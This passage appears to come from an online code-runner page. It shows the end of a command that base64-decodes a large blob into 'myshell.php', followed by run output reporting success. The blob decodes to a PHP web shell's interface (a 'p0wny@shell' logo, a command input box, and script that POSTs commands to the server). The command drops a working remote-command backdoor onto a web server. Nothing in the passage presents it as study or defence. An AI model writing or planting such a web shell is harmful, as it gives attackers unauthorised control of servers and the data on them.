oaXN0b3J5UG9zaXRpb25dOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ1RhYic6CiAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmVIaW50KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBpbnNlcnRUb0hpc3RvcnkoY21kKSB7CiAgICAgICAgICAgICAgICBjb21tYW5kSGlzdG9yeS5wdXNoKGNtZCk7CiAgICAgICAgICAgICAgICBoaXN0b3J5UG9zaXRpb24gPSBjb21tYW5kSGlzdG9yeS5sZW5ndGg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIG1ha2VSZXF1ZXN0KHVybCwgcGFyYW1zLCBjYWxsYmFjaykgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0UXVlcnlTdHJpbmcoKSB7CiAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBbXTsKICAgICAgICAgICAgICAgICAgICBmb3IgKHZhciBrZXkgaW4gcGFyYW1zKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwYXJhbXMuaGFzT3duUHJvcGVydHkoa2V5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYS5wdXNoKGVuY29kZVVSSUNvbXBvbmVudChrZXkpICsgIj0iICsgZW5jb2RlVVJJQ29tcG9uZW50KHBhcmFtc1trZXldKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGEuam9pbigiJiIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICAgICAgeGhyLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgeGhyLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICAgICAgICAgIHhoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoeGhyLnJlYWR5U3RhdGUgPT09IDQgJiYgeGhyLnN0YXR1cyA9PT0gMjAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2VKc29uID0gSlNPTi5wYXJzZSh4aHIucmVzcG9uc2VUZXh0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhbGxiYWNrKHJlc3BvbnNlSnNvbik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRXJyb3Igd2hpbGUgcGFyc2luZyByZXNwb25zZTogIiArIGVycm9yKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgICAgICB4aHIuc2VuZChnZXRRdWVyeVN0cmluZygpKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZG9jdW1lbnQub25jbGljayA9IGZ1bmN0aW9uKGV2ZW50KSB7CiAgICAgICAgICAgICAgICBldmVudCA9IGV2ZW50IHx8IHdpbmRvdy5ldmVudDsKICAgICAgICAgICAgICAgIHZhciBzZWxlY3Rpb24gPSB3aW5kb3cuZ2V0U2VsZWN0aW9uKCk7CiAgICAgICAgICAgICAgICB2YXIgdGFyZ2V0ID0gZXZlbnQudGFyZ2V0IHx8IGV2ZW50LnNyY0VsZW1lbnQ7CgogICAgICAgICAgICAgICAgaWYgKHRhcmdldC50YWdOYW1lID09PSAiU0VMRUNUIikgewogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoIXNlbGVjdGlvbi50b1N0cmluZygpKSB7CiAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQuZm9jdXMoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHdpbmRvdy5vbmxvYWQgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLWNtZCIpOwogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGVsbC1jb250ZW50Iik7CiAgICAgICAgICAgICAgICB1cGRhdGVDd2QoKTsKICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmZvY3VzKCk7CiAgICAgICAgICAgIH07CiAgICAgICAgPC9zY3JpcHQ+CiAgICA8L2hlYWQ+CgogICAgPGJvZHk+CiAgICAgICAgPGRpdiBpZD0ic2hlbGwiPgogICAgICAgICAgICA8cHJlIGlkPSJzaGVsbC1jb250ZW50Ij4KICAgICAgICAgICAgICAgIDxkaXYgaWQ9InNoZWxsLWxvZ28iPgogICAgICAgIF9fXyAgICAgICAgICAgICAgICAgICAgICAgICBfX19fICAgICAgXyAgICAgICAgICBfIF8gICAgICAgIF8gIF8gICA8c3Bhbj48L3NwYW4+CiBfIF9fICAvIF8gXF9fICAgICAgX19fIF9fICBfICAgXyAgLyBfXyBcIF9fX3wgfF9fICAgX19ffCB8IHxfIC9cL3x8IHx8IHxfIDxzcGFuPjwvc3Bhbj4KfCAnXyBcfCB8IHwgXCBcIC9cIC8gLyAnXyBcfCB8IHwgfC8gLyBfYCAvIF9ffCAnXyBcIC8gXyBcIHwgKF8pL1wvXyAgLi4gIF98PHNwYW4+PC9zcGFuPgp8IHxfKSB8IHxffCB8XCBWICBWIC98IHwgfCB8IHxffCB8IHwgKF98IFxfXyBcIHwgfCB8ICBfXy8gfCB8XyAgIHxfICAgICAgX3w8c3Bhbj48L3NwYW4+CnwgLl9fLyBcX19fLyAgXF8vXF8vIHxffCB8X3xcX18sIHxcIFxfXyxffF9fXy9ffCB8X3xcX19ffF98XyhfKSAgICB8X3x8X3wgIDxzcGFuPjwvc3Bhbj4KfF98ICAgICAgICAgICAgICAgICAgICAgICAgIHxfX18vICBcX19fXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+PC9zcGFuPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvcHJlPgogICAgICAgICAgICA8ZGl2IGlkPSJzaGVsbC1pbnB1dCI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJzaGVsbC1jbWQiIGlkPSJzaGVsbC1wcm9tcHQiIGNsYXNzPSJzaGVsbC1wcm9tcHQiPj8/PzwvbGFiZWw+CiAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBpZD0ic2hlbGwtY21kIiBuYW1lPSJjbWQiIG9ua2V5ZG93bj0iX29uU2hlbGxDbWRLZXlEb3duKGV2ZW50KSIvPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9ib2R5PgoKPC9odG1sPgo=" | base64 --decode > myshell.php')</pre>
Success #stdin #stdout 0.39s 40328KB
stdin
Standard input is empty
stdout
Standard output is empty